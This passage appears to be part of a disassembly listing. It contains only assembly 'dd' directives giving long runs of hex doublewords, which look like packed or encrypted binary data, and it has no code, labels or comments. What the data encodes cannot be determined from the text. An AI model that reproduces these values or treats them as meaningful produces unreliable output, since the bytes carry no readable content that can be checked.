5021259h, 0E0324BDAh, 941B691Fh, 925747F8h, 537114D7h dd 44DCBA62h, 941A5A2Bh, 42EF569Ah, 0BADFE995h, 0E60BE54Ah dd 6586106h, 0D8A2AD81h, 43966FE6h, 2685050h, 18940851h dd 75F81CE9h, 521E409Ch, 7D46D689h, 10385A82h, 18F42805h dd 0C1115D60h, 488F6882h, 0D6CC085Eh, 3E925959h, 882FD248h dd 295B35C0h, 5EA7F259h, 4282A695h, 0B95100E5h, 2F16A9D9h dd 0A0FC31A0h, 4DA7C301h, 0A0297DBBh, 580C08D9h, 0DB24B850h dd 7BF87201h, 17109118h, 85D9C430h, 5C0C7C73h, 12C45E5Eh dd 0C6654C82h, 6AE9346Bh, 0B043BD63h, 4EDD6851h, 6E68291Bh dd 40E8D698h, 8C24682Bh, 6B947Fh, 51357620h, 454D0349h dd 0D6F7F587h, 81083Bh, 0B6AECA8Dh, 2FE9EA89h, 79E9B355h dd 8C417ADBh, 23187BC3h, 5B9AB63Fh, 0D03FFFA5h, 28761B5Bh dd 744A7430h, 4B3F6C60h, 7355ECE6h, 0F5AD63Bh, 7A72E9F0h dd 0F9025D38h, 0B9008103h, 0FF0E3B8Bh, 14F6F1E0h, 0B54F4C52h dd 789FA120h, 84F73E0Ch, 93FA889Ch, 79A908D5h, 326E6801h dd 2EE8193Eh, 49A3B639h, 22A93203h, 0F9C96A5Ah, 2FF54740h dd 4B4A402Eh, 3EE3E8C1h, 0D2105F9h, 1CFC7BCCh, 6CDDE96Fh dd 0A63581DBh, 258AF28Ch, 0E7D43087h, 0E517CEBFh, 5086886Bh dd 0A76B7241h, 40F326DAh, 0D10FD0A4h, 0FDCD2AE1h, 5612E3A6h dd 440F5701h, 3F3C3EA2h, 68A1C84Eh, 24917E7Bh, 8CA35193h dd 1C98BE41h, 0E9EB2008h, 109F5C2Fh, 184CB968h, 68373B3Ah dd 4406CEBEh, 0EEC14DF0h, 0D9C605FAh, 0F8FD907Dh, 0D1290B1Ch dd 45F865Ah, 0D007518Ah, 9D9D0C0h, 1C4F09B9h, 15D1452Bh dd 2C353679h, 9311896Eh, 0DB27A3FEh, 2CAF73A0h, 2FDD7D29h dd 93E91195h, 6A44315Ah, 14255081h, 0F3880260h, 60F12F70h dd 0E6EE7515h, 2C4F1E17h, 8981B6B8h, 807A974Fh, 34B4081Eh dd 78B30529h, 9044762Ch, 0E12B594Ch, 2253E59h, 0F9F3E9C2h dd 40A5BD6Ch, 337CBF82h, 29577312h, 0F5023EB8h, 0E8630448h dd 7899245Fh, 85BB88D4h, 0CDA3BC47h, 69206528h, 46C1416Bh dd 7D122A04h, 13E87B14h, 0A767ED04h, 992FA78h, 1F63DEE6h dd 7A9BC980h, 8EC2E20Bh, 0E9165D1Eh, 91DDBA94h, 0ECD3Ah dd 385F39DDh, 86A5405Fh, 49EE0804h, 3370E8D1h, 6EE55476h dd 0B8506FB4h, 14720FA7h, 1AB20A1Fh, 0FC781A31h, 2B2CD809h dd 21282F37h, 0B0734FC9h, 538DCBDh, 0F3A44616h, 0E18C96ACh dd 8A9927E9h, 48C2CE5Ch, 0C1EFFE3Ah, 6E0622E9h, 10EEF025h dd 5F8DB436h, 3557E93Bh, 0F4126E23h, 7149788Ah, 17EDCA04h dd 4607EF77h, 7B653F7Fh, 0BD1597F8h, 0F6169C0Ah, 1F70BCA5h dd 0D257F501h, 17A22552h, 0E83C34D7h, 43A14A17h, 13A5C519h dd 0F920BCDAh, 0C78839CBh, 1F5BFD13h, 0E47F0A39h, 3CF9E287h dd 0FAE0C90Fh, 32FF3C05h, 0D1700612h, 3EA5D843h, 7F736E92h dd 8824FC91h, 9C77AB44h, 4CABA703h, 0B04541DEh, 0F207FFA9h dd 0AF6CF153h, 0E9B3C265h, 420B9256h, 4406D10Eh, 482FA35Ah dd 4DFE097Ah, 0C96900FBh, 4D16BAAh, 37E9520Dh, 6BEACD0Ah dd 0E2CF75B1h, 0CF5D89Fh, 67346858h, 744FD56Fh, 41940F2Ch dd 0B79A07AEh, 2CF003CCh, 85C6BDA5h, 0CC94DAE9h, 43159BBBh dd 64E90B07h, 54BECE95h, 41812AB9h, 68948916h, 0BF1358C7h dd 0D0ABB65h, 39A8C9AFh, 2208620Ah, 4131AC45h, 0A33E0F68h dd 0E456287Ch, 808083F6h, 27B478EEh, 785EF3ECh, 5787E562h dd 6A4D145h, 6E9DAF0Bh, 0C58924C8h, 0CF22082Ch, 0D9093112h dd 4AA7125Dh, 72A7DD09h, 6DEB4FFFh, 0A6B018E0h, 933E2C3Ch dd 2DE994BCh, 0E35CE1h, 9F8805B1h, 0D3980782h, 0CCC42709h dd 14536841h, 0C9B30E38h, 0F3812B1Eh, 318C355Fh, 0A48958DDh dd 0D1F607F5h, 3360C980h, 0C8830BF1h, 0B35E687Ch, 1E21A529h dd 0D203F62Fh, 0E98521BCh, 59DDFC91h, 0F6D84A07h, 125D4BEBh dd 81D298CCh, 1E59C200h, 0C9092A8Fh, 226F5DE9h, 60A2AD28h dd 87C395E4h, 857BD098h, 59272F2Dh, 0C0123CF5h, 9874BAEEh dd 0E26A13A1h, 5E9C2ABh, 810746A9h, 5172BBA0h, 0B66D407Ch dd 0C6806302h, 43E6282Bh, 3858AB24h, 0CE37AD08h, 8CDE5B1Ch dd 6211E98Bh, 4FE5D10Dh, 0C5C019C9h, 5A78F128h, 2400E74Fh dd 7B9773B9h, 0B5E3B0A1h, 0FAB45AF1h, 5B5D6D92h, 0CF2D4998h dd 9FCE36BAh, 0F06AE90Bh, 724AE60Dh, 50163D58h, 0B4AEB492h dd 6A09D22Dh, 89290FA1h, 5A1E5EBAh, 2F0E64DDh, 32A029E9h dd 0CDDA65F1h, 4A7F5748h, 9017FF4h, 0DE74E9CBh, 5D4B0BF4h dd 0D890753Ch, 0A960D241h, 0BEA58008h, 5A8FA125h, 0DFF92C8Fh dd 4EDE8B4Ah, 76A22C00h, 51481D2Bh, 5FDA0135h, 0E98944DFh dd 0EAE9615Dh, 0BD090934h, 0DBBDC403h, 96E1A13Fh, 8BA4A19Eh dd 706C1DA2h, 0DB00BE7Bh, 5EADF7Ah, 712D51ECh, 4A6C21Fh dd 48BD5907h, 0C9B7E486h, 1308EA3Ch, 4F4D659h, 31404F18h dd 488A6C3h, 6A6A41AEh, 6F4D7770h, 71DB6C4h, 5309AF67h dd 7A0514D2h, 27E9E41Eh, 13312B14h, 0FE29DAB7h, 1AE989F6h dd 0F89FE9DAh, 0A5289D47h, 2009A896h, 530FF4DEh, 616101BBh dd 5BDF2971h, 5C085DCEh, 13DD2C0Bh, 0F6BD855Eh, 0F24D7C77h dd 15165B61h, 0C1CF95A2h dd 0FE3056A5h, 84E30054h, 5A14784Fh, 0ACA71916h, 6FB4C489h dd 803E0016h, 535A23EFh, 5D56495h, 48308E2Dh, 0AC22C05Ch dd 3B586801h, 7A601F19h, 9E0B055Eh, 8BDFD933h, 21727785h dd 39865020h, 0C038B104h, 0E468D80Bh, 7E514B31h, 48805D24h dd 5FAA2896h, 0EBADC24Fh, 0BC46088Bh, 2F1AD99Fh, 6E94BF41h dd 0C5FE6100h, 0AB5F3F68h, 2CFDF930h, 52C4387Ch, 86D0FC54h dd 57D808Eh, 273EB5C5h, 0CD02FE10h, 48703B09h, 5CD002AFh dd 1C68B660h, 0C1680508h, 4121E349h, 7ED27E1Bh, 6C2A8BEDh dd 0A42C451Ch, 70167493h, 7E582F92h, 0FEAF4FA6h, 257DA936h dd 0D9D3E3C4h, 0B7816B57h, 7B67B3CBh, 66E3D856h, 64755509h dd 620CD743h, 1275924h, 7E2B9028h, 41D582FDh, 1EAA04Eh dd 4D6BB968h, 164033E5h, 0F4D01C3Ch, 74F6F888h, 7BC759D0h dd 0FE53D702h, 95E0244Ch, 5491ABB6h, 602A889Ah, 0E1595A5Bh dd 4FA3E26Ah, 28215139h, 39B9E510h, 80854B3Dh, 7AC2CBF1h dd 500A78E5h, 241278A5h, 44EF03DAh, 9ECDD84h, 5B55005Fh dd 0BF389B12h, 0FAE03782h, 5A594CDAh, 9B568B21h, 0B7BEB097h dd 7673074Fh, 41D4E681h, 0D8C16140h, 8049E905h, 1B354C52h dd 0E16FD6F2h, 357C74D9h, 2F9E0AF1h, 6D606D89h, 0D38BC9EBh dd 5F956E00h, 54C43A85h, 8BAE0EF3h, 17022254h, 0C8C9F4E9h dd 0F29D2009h, 64DB9D58h, 557A6804h, 0F39683A9h, 52859669h dd 96560186h, 0C051167Dh, 1B0D1755h, 9AB6A9Fh, 0A0EC7007h dd 0B2E8CE0Ah, 51EDE9BEh, 594F43Ah, 0E9EC8073h, 0A940405Eh dd 7FFEA9F1h, 0C48B974Bh, 70245EB2h, 4B12AB36h, 2BC17E74h dd 8404726Eh, 3C37BE1Eh, 0BF306080h, 684EB10Ah, 1528029Eh dd 0C440697Fh, 4D3A2A89h, 2D944F18h, 50C5C3AFh, 201EABD9h dd 2A06F81Ch, 0D7090C94h, 0A2F71FFAh, 5732C44Eh, 7949E451h dd 0C27F99AAh, 0EF90006Ch, 987D3D54h, 0F79960F7h, 210646EEh dd 6A8AFB60h, 90712F78h, 0DB6CF5F5h, 292D6887h, 5E542198h dd 0E9F8F5B4h, 92EB5B1Ch, 23576623h, 4A701720h, 0EDA48999h dd 769662BBh, 0C401204Bh, 4F7472BAh, 17F27520h, 49E58D9h dd 16809207h, 309528FAh, 2088B14Fh, 809C1CB3h, 7AFE58E3h dd 2796D12Bh, 7453F281h, 0EAD3087Dh, 9DC7F838h, 33669B60h dd 0BB41823Ah, 2DFBDD7h, 7C9BC6C7h, 181674BDh, 73E9F083h dd 0C74D2095h, 14423929h, 0D3EF010Ch, 0F31A8600h, 0C0F8E935h dd 5060489Ch, 0BD4AAD68h, 0E3713E98h, 899D12A4h, 626C792Fh dd 0BB45171Bh, 314AC42Eh, 845672Dh, 0AFBF3CD3h, 1CC91C2Ch dd 0D263EE2Dh, 5103F028h, 0B1CC8E4Fh, 2A68416Fh, 0A6124181h dd 0DE842A36h, 0B85000CEh, 50D47273h, 95F2EE38h, 1261D50Fh dd 0E90A8B0Ch, 6FE4657Dh, 79830B2h, 0DA5348E9h, 7EE450ECh dd 8698B1E6h, 0CF287F12h, 0F32A0C0Eh, 5C8CFC98h, 1DDE865Ch dd 60162772h, 817114B5h, 0DF808FDBh, 4D1A7868h, 0F74D5B5Dh dd 9C7E058Ah, 14BB4782h, 0E1078019h, 0F0CC621Eh, 9267EEF6h dd 1BB2748h, 1A8D3B34h, 0B3595E9h, 1A42A203h, 0B5A1FA67h dd 0FE59695Dh, 0DEB89CECh, 4DD54A16h, 25FF20F5h, 0A68CAAE3h dd 7928B682h, 0C35CD561h, 87A010E1h, 3AA7E05Bh, 9860C241h dd 0E73090FCh, 57CC0405h, 0E1C004BBh, 1EC185C1h, 0E1BDF1CCh dd 1D7BB62Ah, 51A59468h, 0B252838Eh, 0A18CE92Dh, 6765D4A1h dd 6FFBCEA9h, 404C838Eh, 4A755810h, 1DF4FEA8h, 58096085h dd 9A2AD968h, 7196F7A0h, 2E694F35h, 0EFA5B9FDh, 0F04BAF02h dd 9C25D2Bh, 0F7292DB0h, 276A96BDh, 6312E3A4h, 208116DDh dd 5A5BDDF5h, 0D72B01E1h, 4574593Ah, 9EBF5781h, 0DCE21D15h dd 0B36805B7h, 57099850h, 785AA902h, 0E4932DE9h, 7F545C0Ah dd 27D57F8Bh, 1AD2F25Fh, 0AB836820h, 7262093Ch, 272F6CE9h dd 4A8421E9h, 453D8046h, 0CAC54344h, 8EBA1ECEh, 62AC4BE1h dd 8477ADB5h, 510B8385h, 69010F86h, 6018294Dh, 8E74C3C2h dd 5DB3A24Ch, 6C018DC8h, 0E9E14299h, 336A6652h, 0D9C96BEDh dd 2CD6F50Eh, 665C1385h, 4176C3B6h, 57BFF0F0h, 4A4F2079h dd 86540909h, 28A58E31h, 0B06338B9h, 0E64B16A4h, 28EAB869h dd 882D08C1h, 6CA49431h, 559D685Ah, 6D442C90h, 53091CC7h dd 0FB76E7FBh, 6008EF14h, 8B6A3B1Ch, 0B85B4A18h, 78E9A11Ch dd 0E05BBA8h, 194F53D6h, 1FE78140h, 560550Fh, 94306944h dd 91C2BF70h, 6108AE77h, 0F245E675h, 4E8FB334h, 0C087FC05h dd 7A7D6543h, 5E21FC5Bh, 441C8DBBh, 0F5082447h, 0C3983F85h dd 0D3DD4801h, 5CBE56B0h, 68C883B5h, 0E91916AEh, 0BA77C026h dd 0B73D6916h, 0CE11A66h, 6C348635h, 0A56ABC20h, 3AFA05F4h dd 61976010h, 30132620h, 65D1499h, 9276C725h, 2D751A7h dd 0D387595Ah, 81F0665Fh, 8C3B518Bh, 0FB413A24h, 0CA3952Bh dd 0CB2323EDh, 5B4ADAE4h, 0B902AEA6h, 0B570D521h, 25F4E677h dd 375049E9h, 56B9799h, 39D57E2Ah, 0BC605EA7h, 51CF2B0Eh dd 0ECD72928h, 74E90880h, 8BAC9D4Bh, 7331E392h, 0F402C025h dd 0C475D244h, 64A92043h, 261E6812h, 749689B2h, 22C4C08Eh dd 6838BE1Bh, 0D0F78E48h, 72D96E91h, 1D23A10Dh, 107062Bh dd 0E91AF1C1h, 0DDADDA41h, 0AD6A9913h, 0E94184D4h, 316EFE63h dd 5CC479Ah, 0B3D85404h, 88A731EAh, 0F650D8E8h, 58048795h dd 0BAE9C591h, 0DA67FF68h, 0A7918332h, 58C17D14h, 23848CCh dd 41420A22h, 8245429h, 0B90199C9h, 2E11EEAAh, 5009E1F6h dd 0CB7FA23Ah, 24177EFEh, 25AC2633h, 165A6376h, 0BEB390F6h dd 0E90792FEh, 27FB855Ah, 48638CEEh, 696B0702h, 546FB8E9h dd 0B9AEA2Dh, 79B22864h, 291DEDC8h, 5B94C2E1h, 33EDE64Bh dd 0BA5AD684h, 67F1C061h, 33C88963h, 8CE4E905h, 0A1164ADh dd 0AAEB05BFh, 0E81DE23Dh, 472477B8h, 0C42F1EB4h, 0E9D91379h dd 4AEED57Ah, 80CE43B1h, 8371B0B9h, 0E104817Dh, 7BB23EBFh dd 0FF412D82h, 80ADEE01h, 7E22A46h, 2F798404h, 4134BD28h dd 51BB0B08h, 0C25522EEh, 56BEE952h, 0F5BF130Bh, 63406145h dd 0E56686E4h, 0DEC901EBh, 0F71B5365h, 8D543CD1h, 34657B66h dd 19549540h, 83181246h, 0D33E1CE8h, 0B6AF0807h, 9489591Dh dd 0E0FC1BC9h, 72CEFEDEh, 53620980h, 7CF1B4B7h, 20C7D19h dd 166AC670h, 0AA5BFE20h, 0E90C2620h, 0A5C5607Bh, 0B50378E5h dd 0E4452E2Eh, 0F90FC80Ah, 3BE596A0h, 0CA1038A2h, 8976540Bh dd 94CFFA48h, 94BD2C06h, 581A642h, 0E83D82BEh, 0BCC6D480h dd 1CC176C7h, 5F1CCFF6h, 1D820B6Ah, 56889271h, 0C1D23367h dd 0FDD2FE83h, 9EBBCAF8h, 0E6CC163Eh, 4161DB8Ch, 6254F4C0h dd 5A9DCE9Fh, 45C1D366h, 314C1F79h, 153B8C6Eh, 4BD400BDh dd 0ED8102ECh, 25705DD5h, 0DE4D452Dh, 68068211h, 185D67BAh dd 0B7FFCA1h, 1EE94E44h, 9BAED2Ah, 0BA916F34h, 39506B2Dh dd 621E1697h, 680D2CB7h, 7A576F9Dh, 0E98527E3h, 20AFDE3h dd 386BEDF1h, 1CEE5762h, 68165198h, 9EE974FFh, 0FC32E982h dd 0AA0912E4h, 407E8D1Dh, 0FBB5317h, 1240437Ah, 0C284D829h dd 1832AAD3h, 68CCA098h, 3D6A78D4h, 0DC935E5Dh, 89F6470Dh dd 926C85D0h, 2BC95B0Ch, 9C30787h, 8DEF8518h, 0A5B62115h dd 0B7BA727Ch, 6CC3A483h, 0B65251A8h, 2E9900Dh, 0CEF4F1A0h dd 7A592D28h, 88204D2h, 54CBF4F1h, 76DEAF73h, 89254827h dd 1D398CAh, 603612B8h dd 70D8F73Ah, 23E205D9h, 93C72517h, 0EACD16BBh, 62E3C740h dd 0A26847C0h, 0FB1AB3h, 6645E7A3h, 0C0DD9E5Dh, 222A727Fh dd 0CD8C9490h, 32EBBB0h, 0F09DCC4Fh, 6A272CBDh, 10C3018h dd 13F84C89h, 0C7A0CB20h, 0E595CC91h, 0DB163E74h, 5F922296h dd 0E950E1F4h, 7D7DE914h, 0C0760227h, 273AF2E9h, 0B010CE2Ah dd 739FC8FDh, 54124CC7h, 0D98A584Ah, 22476824h, 7CEDB013h dd 0C9074C02h, 62BBF602h, 8B437713h, 5DA34BADh, 304C417Ch dd 0EB5F1EB5h, 0E113D63Eh, 83B66F9Dh, 0F6C208D3h, 505E8028h dd 0BD58898Ch, 0E2B58616h, 681410E3h, 5B7E5555h, 0BBD2CD41h dd 7115E107h, 1190881Ah, 4BB60E83h, 642E2EBh, 458BBB21h dd 848F3005h, 0F35B1240h, 56DFE02Fh, 2E2B6812h, 0A9301389h dd 7C7803ABh, 655EE963h, 0DC54FF25h, 67F55A59h, 0CE2981A3h dd 287533E9h, 0C201C483h, 0D8951981h, 3A1B57BBh, 0D5E7950Fh dd 9245FA20h, 78EAD8E8h, 0D1B62F5Bh, 0B04C7825h, 71F31882h dd 0CD81DE90h, 0B07CED03h, 9DDF761h, 0BB60C512h, 0C431C185h dd 4A60AA92h, 0AE5A37h, 5F2812Dh, 0F7253210h, 4A42DA12h dd 9C3C700h, 9F2D1117h, 81487024h, 20D107CBh, 65168B01h dd 32A06249h, 0CD0F4E2Eh, 81A7E5C0h, 6F15BAAFh, 6A822BD6h dd 327111F9h, 63538FD7h, 967AB03h, 9764161Ah, 44BD0770h dd 255F25BBh, 50C2B5DCh, 203151C2h, 937927A9h, 0E0F6DDE9h dd 8A1A71Fh, 0DD0693CAh, 908DE8F0h, 0D2683056h, 0A09CE9AFh dd 581F239Dh, 8BA1066h, 0E051E77h, 0B2F148Bh, 0A0C2C817h dd 0B43CCC22h, 727ACC5Ch, 4AC54C4Dh, 3168A8A0h, 8C612B01h dd 402C02C0h, 0E804D0F8h, 0EB48E65Ah, 5BF76420h, 506B9C98h dd 275F6C98h, 552D80CBh, 0E468BDE1h, 58284278h, 0DFA00635h dd 44BFE70Eh, 72609705h, 0BF80B63Dh, 237A2832h, 1FC700C5h dd 0F7797D07h, 0E9134FDFh, 3465D706h, 0C3CD06FBh, 68131771h dd 53237DB0h, 0A5D0BA50h, 86C32C9Bh, 3500ECAEh, 1BC52B6Dh dd 4E72CCB7h, 86613779h, 879D5BBBh, 8A75E2BAh, 0BF6A9904h dd 7A1021B3h, 0B0F84E7Dh, 1778D750h, 0F1490254h, 0C118444Bh dd 0E47E4E06h, 12C005E2h, 0F057FD58h, 0F3E62EE9h, 10DCA7D2h dd 10BCE101h, 903E3B0Dh, 2CFCE909h, 0FABC82E0h, 197AC398h dd 9E5181B3h, 0AA8902EEh, 2D03D088h, 0DDCCAD34h, 15D6293Eh dd 4F888B0h, 7DB16864h, 0FAEB0491h, 47D2B902h, 2D0B7995h dd 0E90BDB15h, 0F8C1465Bh, 0BB205047h, 89E54B71h, 0ABDC40B2h dd 3C00555Bh, 0AA147235h, 62CEE94Ch, 58C6A503h, 5727C07Fh dd 746B0B68h, 1B86124Bh, 0DE02D1F6h, 2153AD7Eh, 0F39880D3h dd 5ED2E40h, 5EBC16Ah, 0BFFD804Bh, 6160141Ch, 0D156FB20h dd 23E8977Eh, 0EA081566h, 0C85C010Bh, 4EE9090Ch, 315F27C2h dd 90F8F542h, 1FCB4B19h, 0FCDEFDEAh, 97FBA8E1h, 3073EF42h dd 6417133Eh, 1386DEFDh, 0E293125Dh, 41C3D649h, 28A422E9h dd 0F7059770h, 70BC67D2h, 0EE368C2h, 5F6533F6h, 0B44F62A8h dd 0ADF0771h, 0D6A3F00Bh, 666BEF86h, 580EBC78h, 640BE280h dd 42C08EC2h, 5D3083B1h, 0B74C1CAh, 0BE55E9AFh, 0F05CC10h dd 0F71EAE0Ch, 0D209CEDEh, 7E24E111h, 1251D38Ch, 0E9425D68h dd 8813839Bh, 4FD471ECh, 7B57A78Ch, 53C36725h, 0EA579370h dd 655CB572h, 142D024Fh, 0CB634767h, 9EDF7BB2h, 0DA7BFD00h dd 0EEBD5E1Fh, 0F2E99C81h, 50777A6Eh, 0C46959B2h, 3E5E5CD5h dd 53B7EC22h, 25162FE5h, 79D1A225h, 0DEC288C2h, 0CEE11C28h dd 0F1448990h, 0FB4D8725h, 495BB7FCh, 680590DDh, 8C0A4B91h dd 614B26E5h, 64AA2F95h, 9D75EE15h, 0DA258284h, 917158FBh dd 4D2CCF81h, 0C6209950h, 0AD0FDF39h, 98B8D836h, 0D4E34186h dd 0C3DE5BA5h, 8BD12FBEh, 2456D1h, 67AA796Ch, 46B7EF29h dd 3EE92D05h, 41E980A8h, 3F75EE68h, 0FF740E4Bh, 57B0089Ch dd 0EC45BD4Fh, 64A484EFh, 0ADD2B705h, 75505F2Bh, 23BF5C13h dd 0B35F4C47h, 0A9F5A8E9h, 7868822Eh, 7A1EDF44h, 2D275956h dd 0D2C9FE02h, 5E4F756Ch, 0E06AAD29h, 0C0EAE959h, 709DFB9h dd 2C1A55C4h, 0CAF28002h, 25D946D7h, 0BFC8D8C0h, 0E69FB9A5h dd 4EA6FE7Fh, 68DDE4E8h, 9CB940E0h, 3F00E0A4h, 0BE23CE46h dd 0F0A213F7h, 0BDB1395h, 0CFD4E1B0h, 72FC5371h, 1469C871h dd 2E46812Fh, 0D46B7FD3h, 0E9080262h, 3D6AA8C1h, 89E6C5F1h dd 8C6F9848h, 27719589h, 8DB0DD49h, 6C4FEF68h, 0A4E81BD9h dd 97E6B558h, 1833EF04h, 31EF5921h, 2B18181h, 0A55CDEB9h dd 1EC446FAh, 0BF006620h, 5EAA07F1h, 4B088E90h, 3AC833h dd 5FCA1FB8h, 794BCCE9h, 57F70740h, 0F849EB10h, 0C0E4AAE3h dd 22F633Dh, 5B5D531Ah, 9EE1EB09h, 3DE6D2CBh, 0D7BC390h dd 0F29E6127h, 0E96D4111h, 2DA05082h, 0EA3D6947h, 0E173127Eh dd 0E543BCh, 0DA6EC12Dh, 0B604B92Ah, 3134A76Ah, 0B36604EEh dd 7BE16F6h, 0E0B50511h, 41357470h, 69FD6D00h, 78950C2Dh dd 0E089583Eh, 7615FF94h, 804747Bh, 0FE2BB641h, 99F94A98h dd 0C9962DC0h, 7FE9AAC2h, 0C83B5C8Eh, 0BF5700DCh, 6B7D0220h dd 74E94F0Ah, 0C1859FCFh, 0EF07AD11h, 0E5755BDDh, 18C5DF80h dd 0C4952D2Ch, 0A4E6C472h, 32794377h, 46E5C278h, 280C1C08h dd 680F6648h, 0B45627AEh, 5E2A7A81h, 0EBCB45AFh, 181A0D8h dd 87317DE7h, 6851E945h, 27CD4B7Ch, 82FAD960h, 5763B900h dd 6CDC1A43h, 3A405405h, 87EC05AAh, 56FEA0CAh, 9D53BA40h dd 0EB650CF9h, 39FE09A0h, 853980CFh, 28A5C7BCh, 702D9BF8h dd 62246D8h, 9B68F9F7h, 42208F53h, 0E9BE4A74h, 0E4497A1Dh dd 0C0987042h, 0FAEA3627h, 0B6594B00h, 20F541C8h, 0BF41DF39h dd 33789438h, 0E8359E1Eh, 40D6CDFAh, 32E84218h, 0E6D32D96h dd 0F2AD727Ch, 5E62ED9Ah, 0DE0EE90Bh, 0A6DA606Bh, 0A598F609h dd 0D62D31FEh, 15C45066h, 3CE05582h, 83CF586Fh, 5C69C5C1h dd 0E9F0FCEDh, 3292D979h, 98205098h, 0C7D9BDDAh, 15CE2918h dd 0C23DCB12h, 0BD08ABD9h, 0EFB801DDh, 0E8796B3Eh, 0BA9B7CDCh dd 0F8F508h, 36CE381h, 0B7B806BFh, 71FEBB01h, 9E97E9F9h dd 6B02B569h, 472E5934h, 7372360h, 0E9257106h, 50CD7D35h dd 4B65BEE7h, 5D4632F5h, 0D8893B48h, 1169B1FEh, 0E56D78BFh dd 0E9092427h, 87D3078Dh, 5D1DF290h, 0C5E7D252h, 0C297F717h dd 5E450D68h, 0EFE8CBAAh, 219CB8B7h, 0BFEDD6EBh, 0B8D339B0h dd 781FEDC6h, 98A82908h, 9E66844h, 49E226A7h, 55072540h dd 5A0C1360h, 2C1D3453h, 8290F029h, 313A2464h, 1BB18255h dd 0F2CC400Dh, 757F17E4h, 9DAD0817h, 88D6F62Fh, 5300744Fh dd 3696B951h, 1475F72h, 5652090Ah, 0C4FAD718h, 341327F3h dd 34B78EECh, 972CFFE1h, 4F3B7A84h, 70FA80Ch, 0A035BA0Dh dd 0AFBF6EEEh, 1EA0D2ACh, 78882DE9h, 0BD55FA48h, 836B8509h dd 9B825D44h, 0B400C99Fh, 90E62877h, 49E740F2h, 0F2C1B4C0h dd 0B50FFB76h, 9614AE8h, 7BBD8AC0h, 906C4074h, 586740EBh dd 4E9F46B7h, 8425F866h, 0D41456CEh, 0EFDA2577h, 4003AD2h dd 9F35E0D1h, 6B6D970Fh, 0ED0B821h, 0A7C660B5h, 2F73B08Ch dd 3E90838Eh, 3DF4EA88h, 5C16279Eh, 0E15A83BCh, 6CFE3089h dd 2701B94Ch, 65E47901h, 0D5F59852h, 480CE93Ch, 0ED09DE5Dh dd 58125C69h, 11017417h, 21E82D36h, 0B12A456Fh, 0C10704C7h dd 7D6C3A71h, 0F10F2444h dd 0D858EB40h, 317F3AFCh, 0C39B5A7Dh, 0EB8C4B27h, 0A3089B02h dd 80E6DD51h, 0F7FAE934h, 52E6CFC0h, 80AA1DB6h, 17D4EEEBh dd 84823788h, 5939F029h, 3C25401Ch, 89164D0Fh, 0AC66FEC2h dd 5E62043Fh, 0A50ABC08h, 81ED4FFh, 963A7BB6h, 0D39C6392h dd 7F942F68h, 0BDA05E45h, 415C8390h, 135E7E30h, 0EB2991A3h dd 24142BBAh, 0D3E312B0h, 0AD135A47h, 3705D468h, 88BB5B5Fh dd 0E328C13Bh, 0AF7F9707h, 0C11D6625h, 0BC2A426Ah, 14E9A256h dd 0F272A0A4h, 9227952Eh, 0F8D1E013h, 7EE40F4Fh, 823C9CCBh dd 6C6F6247h, 69D0F60h, 0F73E7909h, 1332D6D6h, 0D774511h dd 7ADE00CDh, 0CFB10E2Dh, 3D17834Fh, 0E1AA16BFh, 77A63B4Ch dd 0D58AB412h, 3D7BE07h, 0F7C95FB2h, 6C27C13h, 1CBFBDF0h dd 7B152DA3h, 0A86A28DCh, 0C8310E01h, 0D17A4D68h, 5917471h dd 5431B0Fh, 0CFBBDEF3h, 637206E9h, 8F043C8h, 1A4B41D3h dd 71B3E025h, 1F82630h, 6D863CA2h, 2C4E24EFh, 0B1ADC909h dd 59DA52Ch, 0E9CE44BBh, 0B84EA063h, 971CCB0Ch, 9A03A64Ch dd 0AE2D005Dh, 550DB77h, 830B1504h, 4C30995h, 112E182h dd 0B753A466h, 96477020h, 2858D48Ah, 4AE9E288h, 0B42B85B3h dd 8B9F5F62h, 0E1E17925h, 64B03CE9h, 0EFFACFEAh, 6091D2B7h dd 0BEAB0E59h, 498BA37h, 6E446A4Bh, 0AA16A6ACh, 989D394Dh dd 0BC8D8089h, 0C9F7185Dh, 481F998Ah, 311D02E2h, 28573818h dd 0D52408A2h, 0E57D2709h, 55DF0C9Ah, 2213F717h, 110F5D09h dd 0E02EA9F8h, 0BD5E58EFh, 0EFE2D68Ch, 0BD12F2Fh, 0F4B0008Ah dd 65E75Ch, 433F9935h, 5B3B2D02h, 6EF409EEh, 5067814Ch dd 68801395h, 0A6084FC9h, 1C44976h, 5106AA27h, 0CE5128E9h dd 0BEC85666h, 3C2C76CFh, 5EBDF531h, 0EB6988E3h, 8173C4F5h dd 697F7605h, 0A5C54F25h, 2A7EC83h, 4002F6DBh, 20603512h dd 1301F9F7h, 0E9F3895Dh, 407BD17Dh, 0C215EF0Ah, 0D9F978E3h dd 11F33A0Ah, 1A04467Eh, 0DE3BC3E9h, 0FC5351C4h, 1EC0901Dh dd 0CBFE6CB3h, 0F6C30680h, 603E3C0h, 30980448h, 88EA18A1h dd 3F5B79DEh, 0E6BFFFC6h, 0F6CE8686h, 18C908D1h, 4E425718h dd 7A976A61h, 852421B7h, 3D2CB009h, 0EEEADEF6h, 0F75C4670h dd 0EF281FA6h, 0E4582DB9h, 0CD08203Ch, 0A4175B5Fh, 77BFB680h dd 0BEE2768h, 0F320E0F4h, 0B363EC09h, 307DF425h, 30FB0507h dd 2D20B202h, 6023E61Ch, 81D38D1Ah, 2F023831h, 50D85B5h dd 5A74CBAEh, 961016A9h, 34BB00CBh, 4B1A4869h, 0A0DB5AF7h dd 30E7D1D3h, 1D0292CAh, 1AE9253Eh, 8084D4E1h, 8400F80h dd 0BC982BBh, 99D5C29h, 94FFA490h, 85FB4BFAh, 3DAFB5h dd 12EFB23Fh, 0E5C0A0E9h, 453E2D1h, 0CF495D68h, 4CA4B36Dh dd 0A07B25EEh, 0E44C4793h, 2E509D23h, 80ED8138h, 2D4AE332h dd 17451443h, 5234E968h, 5732BE9Bh, 0CB700E04h, 5301E2D9h dd 50124403h, 74AC930Bh, 60AC6D5Fh, 839650B4h, 38EE0113h dd 0D86B371Eh, 29D021h, 4C685550h, 0E9230D26h, 59B711F6h dd 401A3C58h, 185E3183h, 61DE5692h, 3B8D3011h, 0B01F975Ah dd 7FCB4C9h, 6FA29C7Dh, 48A44A29h, 475EBB2Dh, 43891A2Dh dd 809502A0h, 0D5209EC2h, 521030D7h, 39887FB2h, 0E28793F2h dd 0C1EAC0E4h, 2B4FDE68h, 363ED8A3h, 0FE08E186h, 807404C1h dd 0A8E91D09h, 65DCFC7Ch, 0B9D147E5h, 7B47900Fh, 0E14BD141h dd 2C5181F8h, 0F32E3DC0h, 124AC5D8h, 1362480Dh, 